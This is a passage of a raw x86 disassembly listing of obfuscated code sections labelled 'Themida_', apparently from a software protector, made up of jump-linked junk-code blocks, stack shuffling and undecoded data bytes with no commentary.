		or	edx, 2F3A46F5h
		push	eax
		mov	eax, 2E4A4BC6h
		jmp	loc_56232A
; ---------------------------------------------------------------------------


loc_551873:				; CODE XREF: Themida_:00561C45j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55332D
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 8
		dd 3343C681h, 0F2293A60h, 0BB53565Eh, 5F6822F2h, 0DAE9DE89h
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518A3:				; CODE XREF: Themida_:005574B9j
		push	eax
		mov	eax, 694F7DC3h
		jmp	loc_55CCC2
; ---------------------------------------------------------------------------


loc_5518AE:				; CODE XREF: Themida_:00563029j
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 74714808h
		add	esi, edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		jmp	loc_562294
; ---------------------------------------------------------------------------
		db 89h
		dd 0CEBF5DEEh, 3109B931h, 0B9515EF7h, 77577DF4h, 0D1C1E9h
		dd 66E95B00h, 5F000017h, 8308E8C1h, 0E00501C0h,	29415056h
		dd 0B2E958C3h, 83000077h, 0C9E904C4h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55190F:				; CODE XREF: Themida_:0055B2FAj
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_55EF11
; ---------------------------------------------------------------------------


loc_55191C:				; CODE XREF: Themida_:00565C8Bj
		push	ecx
		push	554C6FE6h
		pop	ecx
		add	ecx, 6BEBE644h
		mov	esi, ecx
		jmp	loc_564E38
; ---------------------------------------------------------------------------


loc_551930:				; CODE XREF: Themida_:0055C639j
		add	eax, ebx
		sub	eax, 3D8D47ECh
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	edi
		mov	edi, 4
		mov	ecx, edi
		pop	edi
		sub	edi, 163C348Ah
		add	edi, ecx
		add	edi, 163C348Ah
		mov	ecx, [esp]
		jmp	loc_55BFC4
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 258E417Ah, 0C581DDF7h, 0FC9CF218h, 15DEA89h,	24148BD5h
		dd 4C481h, 0D7E90000h
		db 41h,	1, 0
; ---------------------------------------------------------------------------


loc_551987:				; CODE XREF: Themida_:00563BB4j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		push	eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_55A095
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2414895Ch, 4BAh, 0D4E95200h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5519D7:				; CODE XREF: Themida_:0055D8EEj
		mov	ecx, 4
		jmp	loc_55895A
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0EEh
		dd 0C610CE5h, 30DBF681h, 0F0E903D9h
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_5519F3:				; CODE XREF: Themida_:0055A2FDj
		pop	ebx
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_560807
; ---------------------------------------------------------------------------


loc_551A05:				; CODE XREF: Themida_:0055BDA1j
		mov	[esp], ebp
		mov	ebp, 63FE4B8Eh
		push	ebx
		jmp	loc_564B17
; ---------------------------------------------------------------------------


loc_551A13:				; CODE XREF: Themida_:00560F8Dj
		add	esp, 4
		push	edx
		mov	edx, 6EBB0DCCh
		jmp	loc_556700
; ---------------------------------------------------------------------------


loc_551A21:				; CODE XREF: Themida_:0055F624j
		shr	eax, 1
		jmp	loc_55B4B0
; ---------------------------------------------------------------------------
		dd 5C240433h, 8DF3E9h, 2DD80100h, 37090F79h, 79B3BF57h
		dd 0F8297704h, 3759685Fh, 2C890000h, 4EC8324h, 68240C89h
		dd 49226476h, 0DB41E9h,	9BBF5700h, 0E906234Bh, 1242Fh
		dd 5A2414F7h, 0D513F281h, 5FE90238h, 890000DCh,	0C2295BD8h
		dd 0CCEA8158h, 0E915E772h, 53FBh, 48BE300h, 4C48324h, 8685166h
		dd 8900005Ch, 0D5B7241Ch, 0D8DDE9h, 0E9535C00h,	0FFFFF094h
; ---------------------------------------------------------------------------


loc_551AA4:				; CODE XREF: Themida_:0056336Aj
		add	esp, 4
		add	esi, 4
		jmp	loc_559F77
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 33E90000h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551ABF:				; CODE XREF: Themida_:0055F29Ej
		mov	bl, al
		jmp	loc_55FAFD
; ---------------------------------------------------------------------------
		dw 0DA31h
		dd 0DDE2815Bh, 0E902AD71h, 343Fh, 0FBA8E955h, 3C89FFFFh
		dd 3C8B5424h, 0EC835624h, 24248904h, 4240481h, 8B000000h
		dd 0C4812434h, 4, 4C681h, 0C6830000h, 24348704h, 0EFBD555Ch
		dd 52466956h, 0CE0A5FBAh, 0E281424Ah, 287621B3h, 0E904EC83h
		dd 12CAEh
; ---------------------------------------------------------------------------


loc_551B20:				; CODE XREF: Themida_:0055211Aj
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55EC2A
; ---------------------------------------------------------------------------


loc_551B32:				; CODE XREF: Themida_:00557243j
		add	ah, 34h
		dec	ah
		add	ah, 7Bh
		add	ah, 0BCh
		jmp	loc_551E10
; ---------------------------------------------------------------------------
		dw 483h
		dd 348B0424h, 0E3895324h, 7ABCE9h
		db 0
; ---------------------------------------------------------------------------


loc_551B51:				; CODE XREF: Themida_:0055DB3Aj
		mov	esi, 3890B4Fh
		add	esi, 1
		xor	esi, 3890B52h
		mov	eax, esi
		pop	esi
		add	edx, 0E507A3Ah
		sub	edx, eax
		push	ebx
		jmp	loc_553F09
; ---------------------------------------------------------------------------


loc_551B70:				; CODE XREF: Themida_:00565A03j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5528E5
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 34895C24h,	99D9E924h, 0C7810000h, 4, 0E9243C87h
		dd 0FFFFF249h, 0E95DEB89h, 0FFFFF028h, 0F1C68h,	243C8900h
		dd 0D7E9CF89h, 5EFFFFF1h, 4BD55h, 0EE010000h, 4C6835Dh
		dd 0E9243487h, 119B5h, 0E9242C89h, 0E9Ah, 8B243433h, 0B8E92424h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551BF7:				; CODE XREF: Themida_:0055B8A4j
		pop	ebx
		jmp	loc_563747
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 0A1E9242Ch
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C0B:				; CODE XREF: Themida_:005614F9j
		pop	edx
		jmp	loc_56188E
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0DEE90000h, 0BE0000D6h, 180E1258h, 0BD55DEF7h, 67F32F5Fh
		dd 90E9DDF7h, 5F0000DEh, 0E9ED815Dh, 0E94A1436h, 0F2BFh
; ---------------------------------------------------------------------------


loc_551C3C:				; CODE XREF: Themida_:00552282j
		push	edx
		mov	edx, 6D3AFF87h
		add	esi, 2AB966EEh
		jmp	loc_5599C3
; ---------------------------------------------------------------------------


loc_551C4D:				; CODE XREF: Themida_:0055802Aj
		mov	esi, 7BD3431Bh
		push	edx
		jmp	loc_557709
; ---------------------------------------------------------------------------
		dd 24048B54h, 6804C483h, 7F35h,	68240C89h, 694F496Fh, 83240C8Bh
		dd 0E98304C4h, 3AD4E901h, 34890000h, 34C6BE24h,	0B85036ADh
		dd 7F932CB3h, 0FACC7E2Dh, 9D4EE969h, 0C1810000h, 4, 8704C183h
		dd 248B240Ch, 24048F24h, 8924248Bh, 37E9243Ch, 53000138h
		dd 86D3E954h, 148B0000h, 8B545724h, 0C481243Ch,	4, 4C781h
		dd 0F1680000h, 0E9000006h, 91E5h, 815DEB29h, 5F0BC5EAh
		dd 0E9DA013Bh, 11B29h
; ---------------------------------------------------------------------------


loc_551CE4:				; CODE XREF: Themida_:0055BD23j
		xor	dword ptr [esp], 1007430Bh
		pop	ecx
		jmp	loc_559951
; ---------------------------------------------------------------------------
aSpx1lSls	db '-≤p∙1▀,$И▀Х',0
		align 2


loc_551CFE:				; CODE XREF: Themida_:0055A8DFj
		add	esp, 4
		and	eax, ebp
		jmp	loc_560FCE
; ---------------------------------------------------------------------------
		dd 0EF307CB5h, 0FD285966h, 59E8005Bh, 0E9DCC380h, 0AB7Ch
		dd 31243C33h, 3C33243Ch, 24248B24h, 0FFF040E9h,	0E9B0B3FFh
		dd 4CAh
; ---------------------------------------------------------------------------


loc_551D34:				; CODE XREF: Themida_:00564CADj
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_5594B7
; ---------------------------------------------------------------------------


loc_551D41:				; CODE XREF: Themida_:00562028j
		neg	al
		xor	al, 20h
		add	bh, 0Ch
		sub	bh, al
		sub	bh, 0Ch
		pop	eax
		jmp	loc_55D376
; ---------------------------------------------------------------------------
aSpS		db 'SP[Изы',0
		dw 8100h
		dd 4C2h, 4EC8100h, 89000000h, 0CBE9243Ch, 89000019h, 4BE56E5h
		dd 1000000h, 925BE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D7E:				; CODE XREF: Themida_:0055D254j
		pop	esp
		jmp	loc_563E74
; ---------------------------------------------------------------------------
		dd 2B2B850h, 57683CF8h,	5965377Ah, 41CCC181h, 0C1293DB6h
		dd 0FFF03CE9h, 2C46BFFFh, 0F80169F6h, 0A8FDE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551DAA:				; CODE XREF: Themida_:00565233j
		push	3B11251Bh
		pop	ebx
		shl	ebx, 6
		shr	ebx, 4
		jmp	loc_5637A5
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 44AEh
; ---------------------------------------------------------------------------


loc_551DC8:				; CODE XREF: Themida_:005567C8j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_553B8D
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 1215700Bh, 10815E9h,	2AF28100h, 0E93C3D2Eh, 0D3C6h
dword_551E00	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFEB9Fh
					; DATA XREF: Themida_:00550768o
; ---------------------------------------------------------------------------


loc_551E10:				; CODE XREF: Themida_:00551B3Dj
		push	ecx
		jmp	loc_55F807
; ---------------------------------------------------------------------------


loc_551E16:				; CODE XREF: Themida_:00565CF1j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55D5F4
; ---------------------------------------------------------------------------
		dd 0ACE4EB81h, 895609EAh, 0FA9EE9DEh, 0E1890000h, 1086BE56h
		dd 98E94D37h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E3B:				; CODE XREF: Themida_:00562098j
		sub	eax, edx
		jmp	loc_562FDC
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 5AE7h
; ---------------------------------------------------------------------------


loc_551E4C:				; CODE XREF: Themida_:00562B16j
		not	eax
		jmp	loc_550AA6
; ---------------------------------------------------------------------------


loc_551E53:				; CODE XREF: Themida_:00556939j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	bp
		mov	bp, 11A0h
		mov	ax, bp
		jmp	loc_55C585
; ---------------------------------------------------------------------------


loc_551E72:				; CODE XREF: Themida_:00550AE2j
		xor	esi, 0DE51195h
		sub	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 0
		sub	ebx, 611176FEh
		push	edx
		mov	edx, 7706630Ah
		shr	edx, 3
		add	edx, 40666791h
		jmp	loc_55A0AA
; ---------------------------------------------------------------------------
		db 81h
		dd 807E4DF6h, 2EEE8151h, 173E062h, 56E95EF2h, 0C10000B3h
		dd 0C7E903E5h, 5A000073h, 9C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_551EBD:				; CODE XREF: Themida_:00560FD7j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_560E96
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0CCE4E924h, 0EC830000h, 2DAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551EDA:				; CODE XREF: Themida_:0055BA60j
		pop	esi
		jmp	loc_550F19
; ---------------------------------------------------------------------------
		dd 242DD8F7h, 0E980C0BCh, 54A9h
; ---------------------------------------------------------------------------


loc_551EEC:				; CODE XREF: Themida_:0055F8F9j
		push	esi
		push	80200487h
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 2AED54D4h
		add	edi, esi
		add	edi, 2AED54D4h
		pop	esi
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_559ECA
; ---------------------------------------------------------------------------
		dw 8355h
		dd 8F5404ECh, 4812404h,	424h, 0BB685D00h, 89000073h, 0A3BE2434h
		dd 0E901FE2Fh, 0BA79h
; ---------------------------------------------------------------------------


loc_551F44:				; CODE XREF: Themida_:0055C3DBj
		inc	ecx
		inc	ecx
		or	ecx, 1D21341Ch
		sub	ecx, 3A2D011Ch
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_553C33
; ---------------------------------------------------------------------------


loc_551F60:				; CODE XREF: Themida_:005631D5j
		mov	esp, [esp]
		mul	cx
		push	small 72CCh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_551F76:				; CODE XREF: Themida_:loc_55BF65j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_552EC2
		push	2A32h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_556DCC
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0D500E900h,	0E0890000h, 405h, 40500h
		dd 0A6E90000h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551FBF:				; CODE XREF: Themida_:005563AAj
		add	ecx, ebp
		sub	ecx, 307D4D19h
		pop	ebp
		or	ecx, 41E154BEh
		add	ecx, 360E2005h
		add	esi, ecx
		jmp	loc_552ABE
; ---------------------------------------------------------------------------
		db 66h
		dd 0F5885150h, 0E959EC88h, 106A3h, 6EFFB951h, 0A7E97AC6h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------


loc_551FF3:				; CODE XREF: Themida_:0055AE5Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55BE55
; ---------------------------------------------------------------------------


loc_552001:				; CODE XREF: Themida_:0055325Cj
		sub	ebx, 0ADD28ACCh
		sub	esi, ebx
		pop	ebx
		sub	esi, edi
		add	esi, 4AA26651h
		push	edx
		mov	edx, 0E59328Ch
		add	esi, edx
		pop	edx
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5583E4
; ---------------------------------------------------------------------------
		db 0BFh, 70h, 49h
		dd 0FE0132C2h, 0F485E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552036:				; CODE XREF: Themida_:00557C7Cj
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B469
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 0D8ACE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552052:				; CODE XREF: Themida_:0055CCBDj
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_554A4F
; ---------------------------------------------------------------------------
aNhf@		db '╜h■@',0             ; DATA XREF: Themida_:005507E4o
		align 2
		dw 3489h
		dd 6F4BE24h, 2068523Dh,	8900003Ah, 58E92414h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55208B:				; CODE XREF: Themida_:005597A2j
		and	edi, 63C26ABBh
		push	esi
		push	edx
		jmp	loc_55F0C9
; ---------------------------------------------------------------------------
		dd 4BFh, 5FFE0100h, 402D68h, 240C8900h,	8904EC83h, 0FDBF243Ch
		dd 0E9388C16h, 436Eh, 0E904C383h, 0A88Bh, 75D368h, 243C8900h
		dd 13357E9h
		db 0
; ---------------------------------------------------------------------------


loc_5520CD:				; CODE XREF: Themida_:00557461j
		xor	[esp], ecx
		jmp	loc_554E0C
; ---------------------------------------------------------------------------


loc_5520D5:				; CODE XREF: Themida_:0055ABA0j
		mov	ecx, esi
		pop	esi
		jmp	loc_553CB0
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 8Bh
		dd 0C481240Ch, 4, 99B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5520ED:				; CODE XREF: Themida_:0056199Bj
		mov	eax, esp
		jmp	loc_55568B
; ---------------------------------------------------------------------------


loc_5520F4:				; CODE XREF: Themida_:00553E52j
		pop	ebx
		sub	edx, 45F645DCh
		add	edx, esi
		add	edx, 45F645DCh
		jmp	loc_56409E
; ---------------------------------------------------------------------------


loc_552108:				; CODE XREF: Themida_:0056367Cj
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_551B20
; ---------------------------------------------------------------------------


loc_55211F:				; CODE XREF: Themida_:00561E15j
		push	edx
		jmp	loc_555CD6
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 2
		dd 11ED814Dh, 310A6203h, 3BE95DEEh, 0BF000049h,	2C14232h
		dd 5BA9F781h, 0C7816792h, 0C913EFD4h, 0E95FF901h, 11488h
		dd 0E4C0D4F6h, 0B6B35303h, 305BDC28h, 0B0C2E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552162:				; CODE XREF: Themida_:0055B150j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	2308h
		mov	[esp], esi
		mov	esi, 312F75DCh
		add	esi, 791D0901h
		add	esi, 55B38127h
		jmp	loc_55D6DE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3CE9240Ch, 66000072h, 0E924148Bh, 0D5D5h, 9C2404FFh
		dd 0FDBBE9h, 24142900h,	0A5240481h, 0E96CA355h,	6367h
		dd 0B7241C89h, 9CA8E921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5521BE:				; CODE XREF: Themida_:00553D9Fj
		mov	edx, 77BF5D97h
		sub	edx, 66DF2B54h
		push	edx
		xchg	edi, [esp]
		jmp	loc_565319
; ---------------------------------------------------------------------------
		dw 0FB89h
		dd 7AEB815Fh, 0C1434562h, 0E38103E3h, 82676F6h,	5BC8CB81h
		dd 0E3810B40h, 0C2E15ECh, 15C4EB81h, 0DF010800h, 19ECE95Bh
		dd 0CBFE0001h, 321BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552205:				; CODE XREF: Themida_:00562B30j
		pop	esp
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 576A5A8Ah
		sub	dword ptr [esp+4], 7A177F10h
		add	dword ptr [esp+4], 1BBF30A6h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 1BBF30A6h
		jmp	loc_55BE30
; ---------------------------------------------------------------------------


loc_552239:				; CODE XREF: Themida_:00558174j
		pop	ebp
		add	edx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, eax
		push	esi
		mov	esi, 5B68364Ch
		sub	edx, esi
		pop	esi
		jmp	loc_55E93E
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E389241Ch, 2AB3E957h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55226E:				; CODE XREF: Themida_:0055398Ej
		add	esi, 0FFFFFFFFh
		shr	esi, 8
		push	esi
		neg	dword ptr [esp]
		pop	esi
		add	esi, 557B0EB4h
		jmp	loc_551C3C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 54255104h, 3158C131h, 0E9C831C1h, 14D7h, 83242C8Bh
		dd 0AE904C4h, 890000EAh, 2B9240Ch, 0E9000000h, 0CA57h
; ---------------------------------------------------------------------------


loc_5522B0:				; CODE XREF: Themida_:0055B6B4j
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_55AEF8
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0F062h
; ---------------------------------------------------------------------------


loc_5522C8:				; CODE XREF: Themida_:00562979j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_561B6C
; ---------------------------------------------------------------------------


loc_5522D3:				; CODE XREF: Themida_:0055B0D7j
		push	esi
		jmp	loc_564D95
; ---------------------------------------------------------------------------


loc_5522D9:				; CODE XREF: Themida_:0056555Bj
		mov	esp, [esp]
		jmp	loc_555593
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0F5h
		dd 44FE2EB5h, 8744C581h, 73E91984h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5522F3:				; CODE XREF: Themida_:00564048j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55C43A
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 6BAF6D34h, 685DEB89h, 3BF8h,	21E2E9h, 0C3EB8100h, 0E95BF57Bh
		dd 0A89Ch
; ---------------------------------------------------------------------------


loc_55231C:				; CODE XREF: Themida_:00556529j
		xor	edi, 68530E7Fh
		shr	edi, 4
		jmp	loc_563E22
; ---------------------------------------------------------------------------
		dw 34FFh
aL4St		db '$▀4$И▓,',0
		db 0
; ---------------------------------------------------------------------------


loc_552335:				; CODE XREF: Themida_:005517EAj
		add	esp, 4
		add	esp, 4
		add	edi, 5CB60FE7h
		jmp	loc_5650EA
; ---------------------------------------------------------------------------
		dw 1431h
aSt_0		db '$ИTи',0
		align 2


loc_55234E:				; CODE XREF: Themida_:00561484j
		push	6B372668h
		pop	ebp
		push	esi
		mov	esi, 6B372664h
		sub	ebp, esi
		pop	esi
		push	esi
		mov	esi, 3AD450F5h
		and	esi, 7E6B2DBEh
		xor	esi, 0BFF62FFh
		sub	ecx, esi
		jmp	loc_55514A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 213FF681h, 87E933B3h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552387:				; CODE XREF: Themida_:005580F3j
		sub	dword ptr [esp], 33097609h
		mov	eax, [esp]
		push	edx
		jmp	loc_5638CA
; ---------------------------------------------------------------------------
aBaMHb		db '│М╫M[ hb`',0
		align 2
		dw 3C89h
		dd 7CCFBF24h, 0EFC144A1h, 80CF8105h, 816D6E0Bh,	0B781ECFh
		dd 9EC7812Ch, 81129549h, 5EB068F7h, 8BC581C7h, 179DB24h
		dd 8BED81FDh, 5F79DB24h, 2714BE56h, 0D14E6D3Dh,	590BE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5523E2:				; CODE XREF: Themida_:00557BDDj
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_562556
; ---------------------------------------------------------------------------


loc_5523FD:				; CODE XREF: Themida_:0055337Aj
		neg	esi
		add	esi, 629AC2D4h
		shl	esi, 5
		jmp	loc_5527A7
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0BBE9D6F7h, 56000134h, 985722BEh, 0BA7CE90Eh, 0C3FE0000h
		dd 804BF380h, 0DD00C2C5h, 28626866h, 241C8966h,	51E9DCB3h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55243B:				; CODE XREF: Themida_:0055BB28j
		push	ebp
		jmp	loc_556749
; ---------------------------------------------------------------------------


loc_552441:				; CODE XREF: Themida_:0055E212j
		xor	edi, [esp]
		jmp	loc_558474
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0B2068h, 0EEDAE900h,	89660000h, 81B3241Ch, 1043AE9h
		dd 0D9885100h, 5B590888h, 592434FFh, 4EC81h, 7FE90000h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552477:				; CODE XREF: Themida_:00558306j
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55E30A
; ---------------------------------------------------------------------------
		dd 6EA3F281h, 0EA814C74h, 0C181C303h, 295AD589h, 0E3E95DEBh
		dd 530000ADh, 0DC2332BBh, 7DC2B93Eh, 0D931077Bh, 0F7D9F75Bh
		dd 3AB850D1h, 51FE65Bh,	19C103B1h, 7DAE9h, 0E9515600h
		dd 830Eh
; ---------------------------------------------------------------------------


loc_5524C8:				; CODE XREF: Themida_:00554E34j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shr	ecx, 6
		push	7F5h
		jmp	loc_5580F0
; ---------------------------------------------------------------------------
		dw 5105h
		dd 11A640Fh, 0F512DE8h,	0B051A64h, 0E9122A5Bh, 0FFFFF9CFh
; ---------------------------------------------------------------------------


loc_5524F8:				; CODE XREF: Themida_:005620F6j
		pop	edi
		add	ecx, 1E714284h
		pop	ebp
		add	ecx, edi
		sub	ecx, 79E65719h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, ecx
		add	eax, [ebx]
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	56D3h
		mov	[esp], eax
		jmp	loc_55F0BC
; ---------------------------------------------------------------------------
		dd 31241433h, 0ABE92414h, 8B000056h, 0C483241Ch, 24143304h
		dd 33241431h, 0FF5C2414h, 34FF2434h, 0C4815A24h, 4, 88DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55255A:				; CODE XREF: Themida_:005630D3j
		push	eax
		mov	eax, 6A3E535Bh
		shr	eax, 3
		jmp	loc_55C8DD
; ---------------------------------------------------------------------------
aLSvc		db '▀<$И┌≈',0
		align 10h
		dd 0B80B1FBDh, 0E9EA8967h, 11A03h
; ---------------------------------------------------------------------------


loc_55257C:				; CODE XREF: Themida_:00556B01j
		mov	edi, 7A35433Dh
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], eax
		jmp	loc_551362
; ---------------------------------------------------------------------------


loc_55258F:				; CODE XREF: Themida_:005583B9j
		xor	eax, edx
		jmp	loc_55D1FF
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 1952E9h, 7EAC100h, 36E0EA81h, 0EA81071Eh, 576E3A57h
		dd 0E441E9h, 0E3F9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5525B6:				; CODE XREF: Themida_:005632F7j
		mov	edx, 445B2FE5h
		inc	edx
		xor	edx, 2CD5610Eh
		or	edx, 64094396h
		jmp	loc_55D6C3
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 50h
		dd 405E089h, 81000000h,	4ECh, 8CB4E900h, 0D5090000h, 8268565Ah
		dd 8B42D236h, 89522434h, 0C52AE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5525F6:				; CODE XREF: Themida_:005587CEj
		add	edi, 2F2D4937h
		inc	edi
		jmp	loc_5633F8
; ---------------------------------------------------------------------------
		dw 0F001h
		dd offset dword_52A048+6A1h
		dd 0F7E95600h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55260F:				; CODE XREF: Themida_:00557B8Aj
		dec	ebp
		jmp	loc_563191
; ---------------------------------------------------------------------------
		db 68h,	0BBh, 32h
		dd 8F540000h, 0B8502404h, 4, 4244401h, 0E924048Bh, 0DB44h
; ---------------------------------------------------------------------------


loc_552630:				; CODE XREF: Themida_:0055D419j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_552640:				; CODE XREF: Themida_:0055FD1Dj
		xor	ch, 3
		jmp	loc_5578C3
; ---------------------------------------------------------------------------
		dd 26F15BEh, 5EF53173h,	48EDC581h, 0DDF737E8h, 0C829E9h
		dd 24043100h, 0FFF3C3E9h, 4C681FFh, 81000000h, 4C6h, 24348700h
		dd 6824248Bh, 2A7Fh, 0E9240C89h, 430h, 0FFE326E9h, 2683BBFFh
		dd 0B4057CBBh, 816D2A78h, 4ECh,	0F546E900h, 34FFFFFFh
		dd 3BE95824h, 83000058h, 48904ECh, 7C79B824h, 560D7A0Eh
		dd 35405351h, 76E02C7Ch, 89E9D0F7h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5526C3:				; CODE XREF: Themida_:00559B30j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5658CA
; ---------------------------------------------------------------------------
